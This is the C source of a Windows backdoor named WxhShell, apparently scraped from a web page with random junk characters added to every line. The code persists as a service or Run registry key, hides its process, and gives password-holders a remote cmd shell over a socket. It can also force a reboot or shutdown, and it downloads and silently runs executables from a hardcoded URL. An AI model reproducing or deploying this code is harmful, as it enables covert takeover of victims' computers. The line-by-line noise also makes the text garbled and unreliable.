    if(Boot(SHUTDOWN)) O+PRP"$g"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?RU_SCp-  
    else { ,Laz515  
    closesocket(wsh); g{^(EZ,  
    ExitThread(0); 4S*7*ak{  
    } <c]?  
    break; LhQidvCNJ  
    } !y7w~UVs  
  // 获取shell @h)X3X  
  case 's': { j\TS:F^z  
    CmdShell(wsh); Xf*}V+&WN  
    closesocket(wsh); *@[N~:z/  
    ExitThread(0); p0@l581  
    break; e<-^  
  } R~d{Yv  
  // 退出 S@6 :H"  
  case 'x': { +YnQOh%v0s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); % QI6`@Y"  
    CloseIt(wsh); FXo{|z3  
    break; *>J45U(6:  
    } g<5G#  
  // 离开 %nT&  
  case 'q': { YA*E93J0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G:Cgq\+R  
    closesocket(wsh);  !AFii:#  
    WSACleanup(); 4 k y/a1y-  
    exit(1); Fu"@)xw/-q  
    break; ;1L7+.A  
        } A S]jJc^  
  } !?J?R-C  
  } 5gbD|^ij  
0=c:O  
  // 提示信息 2hF j+Ay  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /V f L(  
} ;BjJ<?^{  
  } [eZ'h8  
q\T}jF\t  
  return; $Y<(~E$FX  
} T(iL#2^  
axLO: Q,  
// shell模块句柄 C5&+1VrP  
int CmdShell(SOCKET sock) _Rey~]iJJ8  
{ +8|r_z\A5a  
STARTUPINFO si; /<it2=  
ZeroMemory(&si,sizeof(si)); hnnPi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; brClYpp,h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xD4G(]d!  
PROCESS_INFORMATION ProcessInfo; {6 brVN.V  
char cmdline[]="cmd"; }I ^e:,{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H`Ld,E2ex&  
  return 0; r:9H>4m  
} ]-tAgNzl%  
Cswa5 l`af  
// 自身启动模式 @ )m9#F  
int StartFromService(void) jS'hs>Ot  
{ FN295:Iuw  
typedef struct P<s:dH"  
{ (h>+ivf|  
  DWORD ExitStatus; -[-Ry6G  
  DWORD PebBaseAddress; &$hT27A>k  
  DWORD AffinityMask; u}BN)%`B  
  DWORD BasePriority; hP26Bb1  
  ULONG UniqueProcessId; atWB*kqI  
  ULONG InheritedFromUniqueProcessId; 6Rc%P)6  
}   PROCESS_BASIC_INFORMATION; s&~.";b  
ts~$'^K[-  
PROCNTQSIP NtQueryInformationProcess; 0q:g Dc6z  
>W?7a:#,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0fU^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a@U0s+V&a0  
v}-jls  
  HANDLE             hProcess; {GM8}M~D&  
  PROCESS_BASIC_INFORMATION pbi; SWM6+i p  
]#Q'~X W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FAP1Bm  
  if(NULL == hInst ) return 0; Ax"I$6n>  
h2#S ?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W(&9S[2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rkC6 -9V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P g1EE"N@  
AC9#!# OGB  
  if (!NtQueryInformationProcess) return 0; mB]Y;R<  
DC8,ns]!y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >5}jM5$  
  if(!hProcess) return 0; Dt8wd,B  
C*fSPdg?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b6~MRfx`7  
{glRX R  
  CloseHandle(hProcess); n*U+jc  
_I}rQfPJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xtP=/B/  
if(hProcess==NULL) return 0; 5Pu F]5  
)XAD#GYM  
HMODULE hMod; t(F] -[  
char procName[255]; uSi/|  
unsigned long cbNeeded; Je~d/,^WU  
~ E|L4E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yNu%D$6u7  
J>Uzd, /  
  CloseHandle(hProcess); *^5..0du  
 %Jc>joU  
if(strstr(procName,"services")) return 1; // 以服务启动 x#s=eeP1  
0kB!EJ<OdG  
  return 0; // 注册表启动 M`kR2NCi  
} Z/@%MEU[zl  
`nDgwp:b"  
// 主模块 1*Ui=M4  
int StartWxhshell(LPSTR lpCmdLine) $k&}{c8P  
{ l TJqWSV=f  
  SOCKET wsl; DG $._  
BOOL val=TRUE; d^<a)>5h  
  int port=0; ,Cckp! 6  
  struct sockaddr_in door; wf8GH}2A  
-O=a"G=  
  if(wscfg.ws_autoins) Install(); (iZE}qf7 g  
h.W;Dmf6]  
port=atoi(lpCmdLine); );.q:"  
;qF#!Kb5  
if(port<=0) port=wscfg.ws_port; (~>L \]!  
j!H\hj/]  
  WSADATA data; `y!6(xI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  _,2P4  
_,M:"3;Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #j{!&4M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L('G1J}  
  door.sin_family = AF_INET; d#9"_{P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y`EcBf  
  door.sin_port = htons(port); a+CHrnU\;  
$*{$90 Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i-EFq@xl  
closesocket(wsl); c=T^)~$$  
return 1; @9QtK69  
} {A2SG#}  
6*,8 H&  
  if(listen(wsl,2) == INVALID_SOCKET) { sgn,]3AUq  
closesocket(wsl); ]<;m;/ H  
return 1; Svmyg]  
} b:}`O!UBw  
  Wxhshell(wsl); ZTx~+'(  
  WSACleanup(); wxg`[c$:  
RJ_ratKN*g  
return 0; <(Wa8PY2(  
<M1XG7_I  
} g& *pk5V>  
X]Emz"   
// 以NT服务方式启动 dsP1Zq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !(hP{k ^g  
{ cmIAWFj-)e  
DWORD   status = 0; Hize m!  
  DWORD   specificError = 0xfffffff; d/GP.d  
J(\"\Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "b!QE2bRO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Lj$yGdK<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @awaN  
  serviceStatus.dwWin32ExitCode     = 0; _|ucC$*  
  serviceStatus.dwServiceSpecificExitCode = 0; WRJ+l_81  
  serviceStatus.dwCheckPoint       = 0; ?zKVXK7}0  
  serviceStatus.dwWaitHint       = 0; nzTzc5 w  
9_rNJLj8y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8E/]k\  
  if (hServiceStatusHandle==0) return; SrN;S kS  
Es kh=xA {  
status = GetLastError(); ZpHT2-baVe  
  if (status!=NO_ERROR) G^F4c{3c~  
{ FhZ&^.:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W9?Yzl  
    serviceStatus.dwCheckPoint       = 0; <4y1[/S  
    serviceStatus.dwWaitHint       = 0; -0Q:0wU  
    serviceStatus.dwWin32ExitCode     = status; 0:**uion  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7;C9V`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hltH{4  
    return; Lrz>0_Q  
  } .BXZ\r`  
ctOC.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !UD62yw~  
  serviceStatus.dwCheckPoint       = 0; zVs_|x="  
  serviceStatus.dwWaitHint       = 0; P sD+?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )@3ce'  
} QJo)  
Xu$xO(  
// 处理NT服务事件,比如:启动、停止 -pj&|< h+9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ke~O+]  
{ _y)#N<  
switch(fdwControl) J[ UL f7:  
{ 0gVylQ  
case SERVICE_CONTROL_STOP: "JSg/optc  
  serviceStatus.dwWin32ExitCode = 0; w?.0r6j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8^zI  
  serviceStatus.dwCheckPoint   = 0; +|Q8P?YD_  
  serviceStatus.dwWaitHint     = 0; /40Z-'Bl=(  
  { W;,.OoDc>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pN&Dpz^  
  } Nora<  
  return; !xMyk>%2  
case SERVICE_CONTROL_PAUSE: q+t*3;X.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Tn/ 3`j {  
  break; `6!l!8 v  
case SERVICE_CONTROL_CONTINUE: ReP7c3D>p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Qg?^%O'  
  break; E'$r#k:o  
case SERVICE_CONTROL_INTERROGATE: #HB]qa  
  break; !5 %c`4  
}; _p7c<$ ;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p[&'*"o!/  
} IQdiVj  
GFx >xQk  
// 标准应用程序主函数 v4(!~S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Gw3|"14  
{ Te2XQU2,F  
Ol"p^sqwj  
// 获取操作系统版本 vN 7a)s  
OsIsNt=GetOsVer(); aD3'gc,l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S8<O$^L^  
zp"sM z]  
  // 从命令行安装 -sGfpLy<6  
  if(strpbrk(lpCmdLine,"iI")) Install(); R#Id"O  
a)4.[+wnRf  
  // 下载执行文件 bWwc2##7jo  
if(wscfg.ws_downexe) { A[;R_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (C,PGjd  
  WinExec(wscfg.ws_filenam,SW_HIDE); V?HC\F-  
} O} QTg  
+=Crfvt  
if(!OsIsNt) { z)q9O_g9  
// 如果时win9x,隐藏进程并且设置为注册表启动 r_ I7Gd  
HideProc(); J`uV $l:  
StartWxhshell(lpCmdLine); (2QFwBW]  
} //>f#8Ho  
else +K;(H']Z<-  
  if(StartFromService()) `pm6Ts{,  
  // 以服务方式启动 A%oHx|PD  
  StartServiceCtrlDispatcher(DispatchTable); a7nbGqsx  
else !iCY!:  
  // 普通方式启动 A"#Gg7]tl'  
  StartWxhshell(lpCmdLine); v l2!2X  
=wPl;SDf!  
return 0; cW26TtU(  
} Wze\z  
CP'?Om2  
br>"96A1l  
4iRcmsP  
=========================================== zOCru2/  
}X)mZyM[  
5sEq`P}5  
%gJf&A  
zm9>"(H  
nv*q N\i'  
" F.?^ko9d  
>"{3lDyq-  
#include <stdio.h> i(2s"Uww,  
#include <string.h> tqAh &TW3+  
#include <windows.h> X&TTw/J!^  
#include <winsock2.h> 0tC+?  
#include <winsvc.h> w=s:e M@  
#include <urlmon.h> bwqla43gX  
ckBcwIXlP&  
#pragma comment (lib, "Ws2_32.lib") 8U*}D~%!  
#pragma comment (lib, "urlmon.lib") siZw-.  
x;99[C!$  
#define MAX_USER   100 // 最大客户端连接数 +S5"4<  
#define BUF_SOCK   200 // sock buffer \d2Ku10v[  
#define KEY_BUFF   255 // 输入 buffer ; ob>$ _  
gb|C592R5C  
#define REBOOT     0   // 重启 w{UVo1r:  
#define SHUTDOWN   1   // 关机 C!]hu)E  
g[0b>r7   
#define DEF_PORT   5000 // 监听端口 D1;H,  
D?)91P/R  
#define REG_LEN     16   // 注册表键长度 u= 5&e)v3  
#define SVC_LEN     80   // NT服务名长度 <6)Ogv",  
&#F>%~<or  
// 从dll定义API * h!gjbi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {PnvQ?|Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z[R E|l{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =[FNZ:3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (g`G(K_  
?V4?r2$c  
// wxhshell配置信息 (q59cAw~X  
struct WSCFG { y9{KBM%h  
  int ws_port;         // 监听端口 ?"N, do  
  char ws_passstr[REG_LEN]; // 口令 Q35$GFj"jD  
  int ws_autoins;       // 安装标记, 1=yes 0=no Waj6.PCFm  
  char ws_regname[REG_LEN]; // 注册表键名 X&8&NkH  
  char ws_svcname[REG_LEN]; // 服务名 oa?bOm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G<#9`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }Ry:})  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S4aN7.'Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [ p$f)'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $d3al%Uo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GF*8(2h2  
]wMd!.lm-  
}; ) gYsg  
SpU+y|\[0  
// default Wxhshell configuration Wl/oun~o  
struct WSCFG wscfg={DEF_PORT, 7+0Kg'^+n  
    "xuhuanlingzhe", c3W9"  
    1, I} m\(TS-"  
    "Wxhshell", Z,^`R] 9  
    "Wxhshell", OS;qb:;  
            "WxhShell Service", _HW~sz|  
    "Wrsky Windows CmdShell Service", !}<d6&!py  
    "Please Input Your Password: ", S}f 3b N  
  1, rG|lRT3-K  
  "http://www.wrsky.com/wxhshell.exe", {?!=~vp  
  "Wxhshell.exe" )y4bb^;z  
    }; ON.C%-T-  
h.d-a/  
// 消息定义模块 y3 {'s>O6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r: ]t9y>$<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HT0VdvLw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; thy)J.<J  
char *msg_ws_ext="\n\rExit."; *pK bMG#  
char *msg_ws_end="\n\rQuit."; `U?" {;j {  
char *msg_ws_boot="\n\rReboot..."; n!z7N3Ak>  
char *msg_ws_poff="\n\rShutdown..."; d]{wZ#x  
char *msg_ws_down="\n\rSave to "; l2vIKc  
dmI~$*  
char *msg_ws_err="\n\rErr!";  +:k Iq  
char *msg_ws_ok="\n\rOK!"; YRa{6*M  
g X75zso  
char ExeFile[MAX_PATH]; iZ}Afj  
int nUser = 0; cH%qoHgx  
HANDLE handles[MAX_USER]; rp^= vfW  
int OsIsNt; ~~>`WA\G5,  
: 8dQ8p;  
SERVICE_STATUS       serviceStatus; %Hx8%G!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _uwM%M;  
/~~aK2{^X~  
// 函数声明 GOrDDp  
int Install(void); tj$&89  
int Uninstall(void); tIn dve  
int DownloadFile(char *sURL, SOCKET wsh); B( r~Nvc  
int Boot(int flag); go >*n\  
void HideProc(void); b* k=  
int GetOsVer(void); _/(DEF+G  
int Wxhshell(SOCKET wsl); ,' VT75  
void TalkWithClient(void *cs); 1Tl^mS~k  
int CmdShell(SOCKET sock); PxfWO1S(  
int StartFromService(void); VBnD:w"z  
int StartWxhshell(LPSTR lpCmdLine); (#I$4Px{  
KmS$CFsGL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (mbC! !>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UdO(9Jc5^  
9<0TF+}>  
// 数据结构和表定义 0<tce  
SERVICE_TABLE_ENTRY DispatchTable[] = ^{Wx\+*!  
{ hWc`4xdl  
{wscfg.ws_svcname, NTServiceMain}, aT|SKb`  
{NULL, NULL} ]nPfIBoS  
}; 2E5n07,  
+g %h,@  
// 自我安装 !|4fww  
int Install(void) cxX/ b ,  
{ LX f r  
  char svExeFile[MAX_PATH]; U}f"a!  
  HKEY key; DBTeV-G9~R  
  strcpy(svExeFile,ExeFile); (bhMo^3/*  
%G6Q+LMwm  
// 如果是win9x系统,修改注册表设为自启动 %!DdjC&5*  
if(!OsIsNt) { Ac^hZ.qPz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N;Hoi8W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >A&D/k MO  
  RegCloseKey(key); @}9*rWJIE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 03N|@Tu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); , e^&,5b  
  RegCloseKey(key); *<r\:g  
  return 0; P+ ejyl,  
    } #h=pU/R  
  } a|}v?z\  
} @S?`!=M  
else { Q9T/@FX  
`r#]dT[g  
// 如果是NT以上系统,安装为系统服务 hk*@<ff  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1fgO3N  
if (schSCManager!=0) i ZU 1w7Z  
{ unX mMSz(  
  SC_HANDLE schService = CreateService %u=b_4K"j  
  ( kPRG^Ox8e  
  schSCManager, 6&oaxAp<s  
  wscfg.ws_svcname, <Wr n/%tL  
  wscfg.ws_svcdisp, I{nrOb1G(  
  SERVICE_ALL_ACCESS, q,;8Ka )  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S?Y%}  
  SERVICE_AUTO_START, oS>VN<  
  SERVICE_ERROR_NORMAL, !LI 8Xk  
  svExeFile, DP@F-Q4  
  NULL, jJ.isr|`  
  NULL, ATRB9  
  NULL, wWYo\WH'  
  NULL, gh9Gc1tKt  
  NULL Pzt 5'O@dA  
  ); \9t/*%:  
  if (schService!=0) idzc4jR6BT  
  { fEJF3<UF&  
  CloseServiceHandle(schService); Pk ?M~{S  
  CloseServiceHandle(schSCManager); 4H9mKR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i<\WRzVT  
  strcat(svExeFile,wscfg.ws_svcname); #'y4UN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Dpb prT7_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _ASyGmO{  
  RegCloseKey(key); .n\j<Kq  
  return 0; 6 uS;H]nd<  
    } ,vDSY N6  
  } /Fj*sS8  
  CloseServiceHandle(schSCManager); 8*x/NaH /\  
} \Gl>$5np  
} `8 Ann~Z|k  
PAD&sTjE*  
return 1; Q]1s*P  
} yDapl(  
e6`g[Ap  
// 自我卸载 6N\f>c  
int Uninstall(void) tkIpeL[d  
{ R4_BP5+  
  HKEY key; pQ,|l$^m  
W?H-Ng3E  
if(!OsIsNt) { fK/|0@B8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >,6%Y3  
  RegDeleteValue(key,wscfg.ws_regname); Zdfruzl&`  
  RegCloseKey(key); ]Uj7f4)k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aG&t gD{  
  RegDeleteValue(key,wscfg.ws_regname); OC6v%@xa  
  RegCloseKey(key); uqHI/4  
  return 0; 0<[g7BbR  
  } vJ?j#Ch  
} r91b]m3xL  
} [gaB}aLn  
else { j&-<e7O=  
)NLjv=ql  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w# R0QF  
if (schSCManager!=0) GT 5J`  
{ b3.}m[]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?Gnx!3Q  
  if (schService!=0) Ud:;kI%Vj  
  { +/>XOY|Ie  
  if(DeleteService(schService)!=0) { P>nz8NRq  
  CloseServiceHandle(schService); 'T+v&M  
  CloseServiceHandle(schSCManager); f0@4 >\g  
  return 0; {i"t h(J$  
  } _{2/QP}  
  CloseServiceHandle(schService); \o}=ob  
  } =/m$ayG  
  CloseServiceHandle(schSCManager); 'wA4yJ<  
} { Ba_.]x  
} ZH)thd9^b  
Ba}<X;B}  
return 1; gP2<L5&Z,  
} o?| ]ciY  
-|2k$W  
// 从指定url下载文件 s 9n_s=w  
int DownloadFile(char *sURL, SOCKET wsh) =3;~7bYO  
{ $DeVXW  
  HRESULT hr; v*JXrB&x  
char seps[]= "/"; VQ7A"&hh  
char *token; rI#,FZ  
char *file; cU_:l.b  
char myURL[MAX_PATH]; duV\Kt/g^  
char myFILE[MAX_PATH]; 4?33t] "  
HSj=g}r  
strcpy(myURL,sURL); DQ.;2W  
  token=strtok(myURL,seps); z P8rW5/  
  while(token!=NULL) q uL+UFuM  
  { 7r{159&=  
    file=token; PiJ >gDx  
  token=strtok(NULL,seps); \C kb:  
  } M@=VIrX,m  
_/z3QG{Ea^  
GetCurrentDirectory(MAX_PATH,myFILE); Hrg -5_  
strcat(myFILE, "\\"); 19;Pjo8  
strcat(myFILE, file); ==npFjB  
  send(wsh,myFILE,strlen(myFILE),0); ('6sW/F*ab  
send(wsh,"...",3,0); H;N6X y*~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y:YJv x6&4  
  if(hr==S_OK) q0*d*j F0u  
return 0; F;8Uvj  
else x31Jl{x8\?  
return 1; &PUn,9 Rm  
M*Ri1   
} wBz5_ OFVw  
m't8\fo^w  
// 系统电源模块 rm%MQmF  
int Boot(int flag) 534DAhpD=.  
{ ZC97Z sE  
  HANDLE hToken; cD'|zH]  
  TOKEN_PRIVILEGES tkp; 8,L)=3m-  
$T7(AohR  
  if(OsIsNt) { H`OJN .  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (9KiIRN   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %?PRBE'}'  
    tkp.PrivilegeCount = 1; ldWrv7. P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J\E?rT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^wD@)Dz  
if(flag==REBOOT) { RG6U~o1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,.i)(Or  
  return 0; #{g6'9PMz  
} YhO-ecN  
else { a{\<L/\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mJ'5!G  
  return 0; RYV:?=D7s  
} e=Q{CsP  
  } ~\UAxB=  
  else { $ S]l%  
if(flag==REBOOT) { Ap!Y 3C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qS[KB\RN1  
  return 0; ZjveXrx  
} fjLS_Q ;h  
else { C/ENJ&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -'uz%2 {  
  return 0; cd.|>  
} lbm ,#  
} 6Ao{Aej|  
(%)<jg1  
return 1; <P_B|Y4N/  
} f,VJfY?#  
c^7QiTt_  
// win9x进程隐藏模块 ]5+<Rqdbg  
void HideProc(void) R] " jr  
{  h@+(VQ  
&d=ZCaP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O~c\+~5M*  
  if ( hKernel != NULL ) o{OY1 ;=6  
  { g_e_L39  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DS ^ `:^hv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~y>NJM>1  
    FreeLibrary(hKernel); ^v&)z ,  
  } B qcFbY  
{Z1^/F v3  
return; /=g$_m@yWI  
} "f4atuuXa  
(tQ0-=z  
// 获取操作系统版本 vJsx_ i\i  
int GetOsVer(void) a H *5(E]  
{ 1? Im"  
  OSVERSIONINFO winfo; <CN+VXF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dPmNX-'7  
  GetVersionEx(&winfo); Lz=GA?lk[\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wqAj=1M\  
  return 1; V%JG :'6L  
  else O[^u<*fi{  
  return 0; : \KJw  
} $kxP{0u  
`:kI@TPI_C  
// 客户端句柄模块 HB9|AQ4K  
int Wxhshell(SOCKET wsl) L~HL*~#d  
{ ,rWej;CzN  
  SOCKET wsh;  4_d'Uh&]  
  struct sockaddr_in client; 6.k>J{GG  
  DWORD myID; }\]J?I+A  
F~x>\?iN  
  while(nUser<MAX_USER) c3C<P  
{ MXrh[QCU)  
  int nSize=sizeof(client); 7 |Q;E|=-Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LIfYpn6  
  if(wsh==INVALID_SOCKET) return 1; R_B`dP<"~Y  
Ax'o|RE)x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {J]x81}*;  
if(handles[nUser]==0) 7(B"3qF8|  
  closesocket(wsh); N.?)s.D(  
else hi^t zpy  
  nUser++; e#s-MK-Q  
  } ab^>_xD<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $m;DwlM  
b>f{o_  
  return 0; ok(dCAKP  
} Y1 *8&xT  
Y *n[*N  
// 关闭 socket +K7oyZg  
void CloseIt(SOCKET wsh) v_I)eac z  
{ /s "Lsbe  
closesocket(wsh); S(Q=2Y  
nUser--; Qb?e A  
ExitThread(0); st wxF?\NS  
} 1hW"#>f7  
M7\yEi"*  
// 客户端请求句柄 MT{ovDA].  
void TalkWithClient(void *cs) yR[htD`  
{ d'2q~   
 _!E)a  
  SOCKET wsh=(SOCKET)cs; /Bp5^(s  
  char pwd[SVC_LEN]; ^e(*{K;8  
  char cmd[KEY_BUFF]; 5?XIp6%x  
char chr[1]; o>Q=V 0?  
int i,j; OtZc;c  
;ji[ "b  
  while (nUser < MAX_USER) { PiF&0;  
agj_l}=gO  
if(wscfg.ws_passstr) { I:edLg1T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XY!0yAK(!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %IK[d#HO  
  //ZeroMemory(pwd,KEY_BUFF); Yqb3g(0   
      i=0; 3h`_Qv%g  
  while(i<SVC_LEN) { Jo4iWJpK  
\7] SG  
  // 设置超时 ]B3f$;W  
  fd_set FdRead; ")D5ulb\  
  struct timeval TimeOut; UQ}#=[)2e  
  FD_ZERO(&FdRead); sU0W)c;  
  FD_SET(wsh,&FdRead); V~fPp"F  
  TimeOut.tv_sec=8; pd}Cg'}X  
  TimeOut.tv_usec=0; MP$9W)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?C(3TKH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zk> #T:{h  
B;c2gu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  C^*3nd3  
  pwd=chr[0]; k%%0"+y#a  
  if(chr[0]==0xd || chr[0]==0xa) { yhh\?qqy  
  pwd=0; ]La~Bh6;m  
  break; 0{qe1pb w  
  } B3'-:  
  i++; \`Ow)t:  
    } v`Yj)  
dZ `c  
  // 如果是非法用户,关闭 socket R?iC"s!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +jb<=ERV[  
} tO+Lf2Ni+  
4x|\xg( l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )6*)u/x:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9y?)Ga  
'w?}~D.y  
while(1) { >,a$)z  
uUJH^pW  
  ZeroMemory(cmd,KEY_BUFF); ;S+]Z!5LT  
J=6( 4>  
      // 自动支持客户端 telnet标准   SaFNPnk=  
  j=0; Wgb L9'}B  
  while(j<KEY_BUFF) { `Jn2(+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RX?y}BDo0  
  cmd[j]=chr[0]; sw+vyBV)r  
  if(chr[0]==0xa || chr[0]==0xd) { :%>TM/E N  
  cmd[j]=0; nd~O*-uYg  
  break; Iad&Z8E  
  } 6)yi^v  
  j++; w7Ij=!)  
    } Y|cj&<o  
J~|:Q.Rt`  
  // 下载文件 K)W:@,*  
  if(strstr(cmd,"http://")) { #+L:V&QE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e[Jh7r>'  
  if(DownloadFile(cmd,wsh)) 3|PV.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sFw;P`  
  else 3jjV bm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qrw:Bva)  
  } i2E@5 v=|Y  
  else { v(;n|=O  
